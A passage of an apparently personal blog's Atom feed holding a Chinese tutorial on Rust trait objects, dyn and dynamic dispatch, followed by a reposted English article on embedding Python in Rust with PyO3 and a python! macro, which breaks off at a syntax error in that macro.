&lt;li&gt;which has a field named name with value bob,&lt;&#x2F;li&gt;
&lt;li&gt;at any level.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Note: span filter directive will keep effective until it exits the span.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rust动态分发dyn</title>
        <published>2024-06-24T00:00:00+00:00</published>
        <updated>2024-06-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust动态分发dyn/"/>
        <id>https://vercel.juzhong.asia/obsidian/rust动态分发dyn/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust动态分发dyn/">&lt;h1 id=&quot;rustdong-tai-fen-fa-dyn&quot;&gt;rust动态分发dyn&lt;&#x2F;h1&gt;
&lt;p&gt;dyn是trait对象类型的前缀&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;dyn关键字用于强调相关trait的方法是动态分配的&lt;&#x2F;strong&gt;。&lt;strong&gt;要以这种方式使用trait，它必须是“对象安全”的。Rust 没有继承，引入了一个概念特征对象。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特征对象定义&lt;&#x2F;p&gt;
&lt;p&gt;如 UI 组件定义一个特征：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pub trait Draw {
    fn draw(&amp;amp;self);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;只要组件实现了 Draw 特征，就可以调用 draw 方法来进行渲染。假设有一个 Button 和 SelectBox 组件实现了 Draw 特征：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 1 pub struct Button {
 2     pub width: u32,
 3     pub height: u32,
 4     pub label: String,
 5 }
 6
 7 impl Draw for Button {
 8     fn draw(&amp;amp;self) {
 9         &amp;#x2F;&amp;#x2F; 绘制按钮的代码
10     }
11 }
12
13 struct SelectBox {
14     width: u32,
15     height: u32,
16     options: Vec&amp;lt;String&amp;gt;,
17 }
18
19 impl Draw for SelectBox {
20     fn draw(&amp;amp;self) {
21         &amp;#x2F;&amp;#x2F; 绘制SelectBox的代码
22     }
23 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;View Code&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特征对象指向实现了 Draw 特征的类型的实例，也就是指向了 Button 或者 SelectBox 的实例 &lt;strong&gt;，这种映射关系是存储在一张表中，可以在运行时通过特征对象找到具体调用的类型方法。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;可以通过 &amp;amp; 引用或者 Box&lt;T&gt; 智能指针的方式来创建特征对象。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 1 trait Draw {
 2     fn draw(&amp;amp;self) -&amp;gt; String;
 3 }
 4
 5 impl Draw for u8 {
 6     fn draw(&amp;amp;self) -&amp;gt; String {
 7         format!(&amp;quot;u8: {}&amp;quot;, *self)
 8     }
 9 }
10
11 impl Draw for f64 {
12     fn draw(&amp;amp;self) -&amp;gt; String {
13         format!(&amp;quot;f64: {}&amp;quot;, *self)
14     }
15 }
16
17 &amp;#x2F;&amp;#x2F; 若 T 实现了 Draw 特征， 则调用该函数时传入的 Box&amp;lt;T&amp;gt; 可以被隐式转换成函数参数签名中的 Box&amp;lt;dyn Draw&amp;gt;
18 fn draw1(x: Box&amp;lt;dyn Draw&amp;gt;) {
19     &amp;#x2F;&amp;#x2F; 由于实现了 Deref 特征，Box 智能指针会自动解引用为它所包裹的值，然后调用该值对应的类型上定义的 `draw` 方法
20     x.draw();
21 }
22
23 fn draw2(x: &amp;amp;dyn Draw) {
24     x.draw();
25 }
26
27 fn main() {
28     let x = 1.1f64;
29     &amp;#x2F;&amp;#x2F; do_something(&amp;amp;x);
30     let y = 8u8;
31
32     &amp;#x2F;&amp;#x2F; x 和 y 的类型 T 都实现了 `Draw` 特征，因为 Box&amp;lt;T&amp;gt; 可以在函数调用时隐式地被转换为特征对象 Box&amp;lt;dyn Draw&amp;gt;
33     &amp;#x2F;&amp;#x2F; 基于 x 的值创建一个 Box&amp;lt;f64&amp;gt; 类型的智能指针，指针指向的数据被放置在了堆上
34     draw1(Box::new(x));
35     &amp;#x2F;&amp;#x2F; 基于 y 的值创建一个 Box&amp;lt;u8&amp;gt; 类型的智能指针
36     draw1(Box::new(y));
37     draw2(&amp;amp;x);
38     draw2(&amp;amp;y);
39 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述代码说明：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;draw1 函数的参数是 Box&amp;lt;dyn Draw&amp;gt; 形式的特征对象，该特征对象是通过 Box::new(x) 的方式创建的&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;draw2 函数的参数是 &amp;amp;dyn Draw 形式的特征对象，该特征对象是通过 &amp;amp;x 的方式创建的&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;dyn 关键字只用在特征对象的类型声明上，在创建时无需使用 dyn&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因此，&lt;strong&gt;可以使用特征对象来代表泛型或具体的类型。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;继续来完善之前的 UI 组件代码，首先来实现ScreenScreen：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1 pub struct Screen {
2     pub components: Vec&amp;lt;Box&amp;lt;dyn Draw&amp;gt;&amp;gt;,
3 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中存储了一个动态数组，里面元素的类型是 Draw 特征对象：Box&amp;lt;dyn Draw&amp;gt;，任何实现了 Draw 特征的类型，都可以存放其中。&lt;&#x2F;p&gt;
&lt;p&gt;再来为 Screen 定义 run 方法，用于将列表中的 UI 组件渲染在屏幕上：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1 impl Screen {
2     pub fn run(&amp;amp;self) {
3         for component in self.components.iter() {
4             component.draw();
5         }
6     }
7 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;至此，我们就完成了之前的目标：在列表中存储多种不同类型的实例，然后将它们使用同一个方法逐一渲染在屏幕上！&lt;&#x2F;p&gt;
&lt;p&gt;再来看看，如果通过泛型实现，会如何：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 1 pub struct Screen&amp;lt;T: Draw&amp;gt; {
 2     pub components: Vec&amp;lt;T&amp;gt;,
 3 }
 4
 5 impl&amp;lt;T&amp;gt; Screen&amp;lt;T&amp;gt;
 6     where T: Draw {
 7     pub fn run(&amp;amp;self) {
 8         for component in self.components.iter() {
 9             component.draw();
10         }
11     }
12 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的 Screen 的列表中，存储了类型为 T 的元素，然后在 Screen 中使用特征约束让 T 实现了 Draw 特征，进而可以调用 draw 方法。&lt;&#x2F;p&gt;
&lt;p&gt;但是这种写法限制了 Screen 实例的 Vec&lt;T&gt; 中的每个元素必须是 Button 类型或者全是 SelectBox 类型。如果只需要同质（相同类型）集合，更倾向于这种写法；&lt;strong&gt;使用泛型和 特征约束，因为实现更清晰，且性能更好(特征对象，需要在运行时从 vtable 动态查找需要调用的方法)。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在来运行渲染下咱们精心设计的 UI 组件列表：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 1 fn main() {
 2     let screen = Screen {
 3         components: vec![
 4             Box::new(SelectBox {
 5                 width: 75,
 6                 height: 10,
 7                 options: vec![
 8                     String::from(&amp;quot;Yes&amp;quot;),
 9                     String::from(&amp;quot;Maybe&amp;quot;),
10                     String::from(&amp;quot;No&amp;quot;)
11                 ],
12             }),
13             Box::new(Button {
14                 width: 50,
15                 height: 10,
16                 label: String::from(&amp;quot;OK&amp;quot;),
17             }),
18         ],
19     };
20
21     screen.run();
22 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面使用 Box::new(T) 的方式来创建了两个 Box&amp;lt;dyn Draw&amp;gt; 特征对象，如果以后还需要增加一个 UI 组件，那么让该组件实现 Draw 特征，则可以很轻松的将其渲染在屏幕上，甚至用户可以引入我们的库作为三方库，然后在自己的库中为自己的类型实现 Draw 特征，然后进行渲染。&lt;&#x2F;p&gt;
&lt;p&gt;在动态类型语言中，有一个很重要的概念：鸭子类型(duck typing)，简单来说，就是只关心值长啥样，而不关心它实际是什么。&lt;&#x2F;p&gt;
&lt;p&gt;在上例中，Screen 在 run 的时候，我们并不需要知道各个组件的具体类型是什么。它也不检查组件到底是 Button 还是 SelectBox 的实例，只要它实现了 Draw 特征，就能通过 Box::new 包装成 Box&amp;lt;dyn Draw&amp;gt; 特征对象，然后被渲染在屏幕上。&lt;&#x2F;p&gt;
&lt;p&gt;使用特征对象和 Rust 类型系统来进行类似鸭子类型操作的优势是，无需在运行时检查一个值是否实现了特定方法或者担心在调用时因为值没有实现方法而产生错误。如果值没有实现特征对象所需的特征， 那么 Rust 根本就不会编译这些代码：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1 fn main() {
2     let screen = Screen {
3         components: vec![
4             Box::new(String::from(&amp;quot;Hi&amp;quot;)),
5         ],
6     };
7
8     screen.run();
9 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为 String 类型没有实现 Draw 特征，编译器直接就会报错，不会让上述代码运行。如果想要 String 类型被渲染在屏幕上，那么只需要为其实现 Draw 特征即可，非常容易。&lt;&#x2F;p&gt;
&lt;p&gt;注意 dyn 不能单独作为特征对象的定义，例如下面的代码编译器会报错，原因是特征对象可以是任意实现了某个特征的类型，编译器在编译期不知道该类型的大小，不同的类型大小是不同的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;而 &amp;amp;dyn 和 Box&amp;lt;dyn&amp;gt; 在编译期都是已知大小，所以可以用作特征对象的定义。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1 fn draw2(x: dyn Draw) {
2     x.draw();
3 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;特征对象的动态分发&lt;&#x2F;p&gt;
&lt;p&gt;回忆一下泛型章节我们提到过的，&lt;strong&gt;泛型是在编译期完成处理的：编译器会为每一个泛型参数对应的具体类型生成一份代码，这种方式是静态分发(static dispatch)，因为是在编译期完成的，对于运行期性能完全没有任何影响&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;与静态分发相对应的是动态分发(dynamic dispatch)，在这种情况下，直到运行时，才能确定需要调用什么方法。之前代码中的关键字 dyn 正是在强调这一“动态”的特点。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当使用特征对象时，Rust 必须使用动态分发。编译器无法知晓所有可能用于特征对象代码的类型，所以它也不知道应该调用哪个类型的哪个方法实现。为此，Rust 在运行时使用特征对象中的指针来知晓需要调用哪个方法。动态分发也阻止编译器有选择的内联方法代码，这会相应的禁用一些优化。&lt;&#x2F;p&gt;
&lt;p&gt;下面这张图很好的解释了静态分发 Box&lt;T&gt; 和动态分发 Box&amp;lt;dyn Trait&amp;gt; 的区别：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-dyn-dispatch&#x2F;rust-static-vs-dyn-dispatch.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结合上文的内容和这张图可以了解：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;特征对象大小不固定：这是因为，对于特征 Draw，类型 Button 可以实现特征 Draw，类型 SelectBox 也可以实现特征 Draw，因此特征没有固定大小&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;几乎总是使用特征对象的引用方式，如 &amp;amp;dyn Draw、Box&amp;lt;dyn Draw&amp;gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;虽然特征对象没有固定大小，但它的引用类型的大小是固定的，它由两个指针组成（ptr 和 vptr），因此占用两个指针大小&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;一个指针 ptr 指向实现了特征 Draw 的具体类型的实例，也就是当作特征 Draw 来用的类型的实例，比如类型 Button 的实例、类型 SelectBox 的实例&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;另一个指针 vptr 指向一个虚表 vtable，vtable 中保存了类型 Button 或类型 SelectBox 的实例对于可以调用的实现于特征 Draw 的方法。当调用方法时，直接从 vtable 中找到方法并调用。之所以要使用一个 vtable 来保存各实例的方法，是因为实现了特征 Draw 的类型有多种，这些类型拥有的方法各不相同，当将这些类型的实例都当作特征 Draw 来使用时(此时，它们全都看作是特征 Draw 类型的实例)，有必要区分这些实例各自有哪些方法可调用&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;简而言之，当类型 Button 实现了特征 Draw 时，类型 Button 的实例对象 btn 可以当作特征 Draw 的特征对象类型来使用，btn 中保存了作为特征对象的数据指针（指向类型 Button 的实例数据）和行为指针（指向 vtable）。&lt;&#x2F;p&gt;
&lt;p&gt;一定要注意，此时的 btn 是 Draw 的特征对象的实例，而不再是具体类型 Button 的实例，而且 btn 的 vtable 只包含了实现自特征 Draw 的那些方法（比如 draw），因此 btn 只能调用实现于特征 Draw 的 draw 方法，而不能调用类型 Button 本身实现的方法和类型 Button 实现于其他特征的方法。也就是说，btn 是哪个特征对象的实例，它的 vtable 中就包含了该特征的方法。&lt;&#x2F;p&gt;
&lt;p&gt;Self 与 self&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;在 Rust 中，有两个self，self一个指代当前的实例对象，Self一个指代特征或者方法类型的别名：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 1 trait Draw {
 2     fn draw(&amp;amp;self) -&amp;gt; Self;
 3 }
 4
 5 #[derive(Clone)]
 6 struct Button;
 7 impl Draw for Button {
 8     fn draw(&amp;amp;self) -&amp;gt; Self {
 9         return self.clone()
10     }
11 }
12
13 fn main() {
14     let button = Button;
15     let newb = button.draw();
16 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述代码中，self指代的就是当前的实例对象，也就是 button.draw() 中的 button 实例，Self 则指代的是 Button 类型。&lt;&#x2F;p&gt;
&lt;p&gt;当理解了 self 与 Self 的区别后，我们再来看看何为对象安全。&lt;&#x2F;p&gt;
&lt;p&gt;特征对象的限制&lt;&#x2F;p&gt;
&lt;p&gt;不是所有特征都能拥有特征对象，只有对象安全的特征才行。&lt;strong&gt;当一个特征的所有方法都有如下属性时，它的对象才是安全的：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;方法的返回类型不能是 Self&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;方法没有任何泛型参数&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对象安全对于特征对象是必须的，因为一旦有了特征对象，就不再需要知道实现该特征的具体类型是什么了。如果特征方法返回了具体的 Self 类型，但是特征对象忘记了其真正的类型，那这个 Self 就非常尴尬，因为没人知道它是谁了。但是对于泛型类型参数来说，当使用特征时其会放入具体的类型参数：此具体类型变成了实现该特征的类型的一部分。而当使用特征对象时其具体类型被抹去了，故而无从得知放入泛型参数类型到底是什么。&lt;&#x2F;p&gt;
&lt;p&gt;标准库中的 Clone 特征就不符合对象安全的要求：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1 pub trait Clone {
2     fn clone(&amp;amp;self) -&amp;gt; Self;
3 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为它的其中一个方法，返回了 Self 类型，因此它是对象不安全的。&lt;&#x2F;p&gt;
&lt;p&gt;String 类型实现了 Clone 特征， String 实例上调用 clone 方法时会得到一个 String 实例。类似的，当调用 Vec&lt;T&gt; 实例的 clone 方法会得到一个 Vec&lt;T&gt; 实例。clone 的签名需要知道什么类型会代替 Self，因为这是它的返回值。&lt;&#x2F;p&gt;
&lt;p&gt;如果违反了对象安全的规则，编译器会提示你。例如，如果尝试使用之前的 Screen 结构体来存放实现了 Clone 特征的类型：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1 pub struct Screen {
2     pub components: Vec&amp;lt;Box&amp;lt;dyn Clone&amp;gt;&amp;gt;,
3 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Writing Python inside your Rust code — Part 1</title>
        <published>2024-06-21T00:00:00+00:00</published>
        <updated>2024-06-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/writing-python-inside-your-rust-code-part-1/"/>
        <id>https://vercel.juzhong.asia/obsidian/writing-python-inside-your-rust-code-part-1/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/writing-python-inside-your-rust-code-part-1/">&lt;h1 id=&quot;writing-python-inside-your-rust-code-part-1&quot;&gt;Writing Python inside your Rust code — Part 1&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.m-ou.se&#x2F;writing-python-inside-rust-1&#x2F;&quot;&gt;https:&#x2F;&#x2F;blog.m-ou.se&#x2F;writing-python-inside-rust-1&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;About a year ago, I published a Rust crate called &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;crates.io&#x2F;crates&#x2F;inline-python&quot;&gt;inline-python&lt;&#x2F;a&gt;, which allows you to easily mix some Python into your Rust code using a &lt;code&gt;python!{ .. }&lt;&#x2F;code&gt; macro. In this series, I’ll go through the process of developing this crate from scratch.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sneak-preview&quot;&gt;Sneak preview&lt;&#x2F;h2&gt;
&lt;p&gt;If you’re not familiar with the inline-python crate, this is what it allows you to do:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let who = &amp;quot;world&amp;quot;;
    let n = 5;
    python! {
        for i in range(&amp;#x27;n):
            print(i, &amp;quot;Hello&amp;quot;, &amp;#x27;who)
        print(&amp;quot;Goodbye&amp;quot;)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It allows you to embed Python code right between your lines of Rust code. It even allows you to use your Rust variables inside the Python code.&lt;&#x2F;p&gt;
&lt;p&gt;We’ll start with a much simpler case, and slowly work our way up to this result (and more!).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;running-python-code&quot;&gt;Running Python code&lt;&#x2F;h2&gt;
&lt;p&gt;First, let’s take a look at how we can run Python code from Rust. Let’s try to make this first simple example work:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    println!(&amp;quot;Hello ...&amp;quot;);
    run_python(&amp;quot;print(\&amp;quot;... World!\&amp;quot;)&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We &lt;em&gt;could&lt;&#x2F;em&gt; implement &lt;code&gt;run_python&lt;&#x2F;code&gt; by using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;std&#x2F;process&#x2F;struct.Command.html&quot;&gt;&lt;code&gt;std::process::Command&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; to run the &lt;code&gt;python&lt;&#x2F;code&gt; executable and pass it the Python code, but if we ever expect to be able to define and read back Python variables, we’re probably better off if we start by using the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pyo3.rs&#x2F;&quot;&gt;PyO3&lt;&#x2F;a&gt; library instead.&lt;&#x2F;p&gt;
&lt;p&gt;PyO3 gives us Rust bindings for Python. It nicely wraps the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;septatrix.github.io&#x2F;cpython-dark-docs&#x2F;c-api&#x2F;index.html&quot;&gt;Python C API&lt;&#x2F;a&gt;, letting us interact with all kind of Python objects directly from Rust. (And even make Python libraries in Rust, but that’s a whole other topic.)&lt;&#x2F;p&gt;
&lt;p&gt;Its &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;pyo3&#x2F;0.9.2&#x2F;pyo3&#x2F;struct.Python.html#method.run&quot;&gt;&lt;code&gt;Python::run&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; function looks exactly like what we need. It takes the Python code as a &lt;code&gt;&amp;amp;str&lt;&#x2F;code&gt;, and allows us to define any variables in scope using two optional &lt;code&gt;PyDict&lt;&#x2F;code&gt;s. Let’s give it a try:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn run_python(code: &amp;amp;str) {
    let py = pyo3::Python::acquire_gil(); &amp;#x2F;&amp;#x2F; Acquire the &amp;#x27;global interpreter lock&amp;#x27;, as Python is not thread-safe.
    py.python().run(code, None, None).unwrap(); &amp;#x2F;&amp;#x2F; No locals, no globals.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo run
   Compiling scratchpad v0.1.0
    Finished dev [unoptimized + debuginfo] target(s) in 0.29s
     Running `target&amp;#x2F;debug&amp;#x2F;scratchpad`
Hello ...
... World!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Success!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;rule-based-macros&quot;&gt;Rule based macros&lt;&#x2F;h2&gt;
&lt;p&gt;Writing inside a string literal is not the most convenient way to write Python, so let’s see if we can improve that. Macros allow us to define custom syntax within Rust, so let’s try to use one:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    println!(&amp;quot;Hello ...&amp;quot;);
    python! {
        print(&amp;quot;... World!&amp;quot;)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Macros are normally defined using using &lt;code&gt;macro_rules!&lt;&#x2F;code&gt;, which lets you define a macro using advanced ‘find and replace’ rules based on things like tokens and expressions. (See &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;book&#x2F;ch19-06-macros.html&quot;&gt;the chapter on macros in the Rust Book&lt;&#x2F;a&gt; for an introduction to &lt;code&gt;macro_rules!&lt;&#x2F;code&gt;. See &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;danielkeep.github.io&#x2F;tlborm&#x2F;book&#x2F;README.html&quot;&gt;The Little Book of Rust Macros&lt;&#x2F;a&gt; for all the scary details.)&lt;&#x2F;p&gt;
&lt;p&gt;Macros defined by &lt;code&gt;macro_rules!&lt;&#x2F;code&gt; can not execute any code at compile time, they are only applying replacement rules based on patterns. Great for things like &lt;code&gt;vec![]&lt;&#x2F;code&gt;, and even &lt;code&gt;lazy_static!{ .. }&lt;&#x2F;code&gt;, but not powerful enough for things such as parsing and compiling regular expressions (e.g. &lt;code&gt;regex!(&quot;a.*b&quot;)&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;In the matching rules of a macro, we can match on things like expressions, identifiers, types, and many other things. Since ‘valid Python code’ is not an option, we’ll just make our macro accept anything: raw tokens, as many as needed:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;macro_rules! python {
    ($($code:tt)*) =&amp;gt; {
        ...
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;(See the resources linked above for details on how &lt;code&gt;macro_rules!&lt;&#x2F;code&gt; works.)&lt;&#x2F;p&gt;
&lt;p&gt;An invocation of our macro should result in &lt;code&gt;run_python(&quot;..&quot;)&lt;&#x2F;code&gt;, with all Python code wrapped in that string literal. We’re luckily: there’s a builtin macro that puts things in a string for us, called &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;std&#x2F;macro.stringify.html&quot;&gt;&lt;code&gt;stringify!&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;macro_rules! python {
    ($($code:tt)*) =&amp;gt; {
        run_python(stringify!($($code)*));
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s try!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling scratchpad v0.1.0
    Finished dev [unoptimized + debuginfo] target(s) in 0.32s
     Running `target&amp;#x2F;debug&amp;#x2F;scratchpad`
Hello ...
... World!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Success!&lt;&#x2F;p&gt;
&lt;p&gt;But wait, what happens if we have more than one line of Python code?&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    println!(&amp;quot;Hello ...&amp;quot;);
    python! {
        print(&amp;quot;... World!&amp;quot;)
        print(&amp;quot;Bye.&amp;quot;)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;mysql&quot; class=&quot;language-mysql &quot;&gt;&lt;code class=&quot;language-mysql&quot; data-lang=&quot;mysql&quot;&gt;$ cargo r
   Compiling scratchpad v0.1.0
    Finished dev [unoptimized + debuginfo] target(s) in 0.31s
     Running `target&amp;#x2F;debug&amp;#x2F;scratchpad`
Hello ...
thread &amp;#x27;main&amp;#x27; panicked at &amp;#x27;called `Result::unwrap()` on an `Err` value: PyErr { type: Py(0x7f1c0a5649a0, PhantomData) }&amp;#x27;, src&amp;#x2F;main.rs:9:5
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Oof, that’s unfortunate.&lt;&#x2F;p&gt;
&lt;p&gt;To debug this, let’s properly print the &lt;code&gt;PyErr&lt;&#x2F;code&gt;, and also show the exact Python code we’re feeding to &lt;code&gt;Python::run&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn run_python(code: &amp;amp;str) {
    println!(&amp;quot;-----&amp;quot;);
    println!(&amp;quot;{}&amp;quot;, code);
    println!(&amp;quot;-----&amp;quot;);
    let py = pyo3::Python::acquire_gil();
    if let Err(e) = py.python().run(code, None, None) {
        e.print(py.python());
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;fallback&quot; class=&quot;language-fallback &quot;&gt;&lt;code class=&quot;language-fallback&quot; data-lang=&quot;fallback&quot;&gt;$ cargo r
   Compiling scratchpad v0.1.0
    Finished dev [unoptimized + debuginfo] target(s) in 0.27s
     Running `target&amp;#x2F;debug&amp;#x2F;scratchpad`
Hello ...
-----
print(&amp;quot;... World!&amp;quot;) print(&amp;quot;Bye.&amp;quot;)
-----
  File &amp;quot;&amp;lt;string&amp;gt;&amp;quot;, line 1
    print(&amp;quot;... World!&amp;quot;) print(&amp;quot;Bye.&amp;quot;)
                        ^
SyntaxError: invalid syntax
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Apparently both lines of Python code ended up on the same line, and the Python rightfully complains about this being invalid syntax.&lt;&#x2F;p&gt;
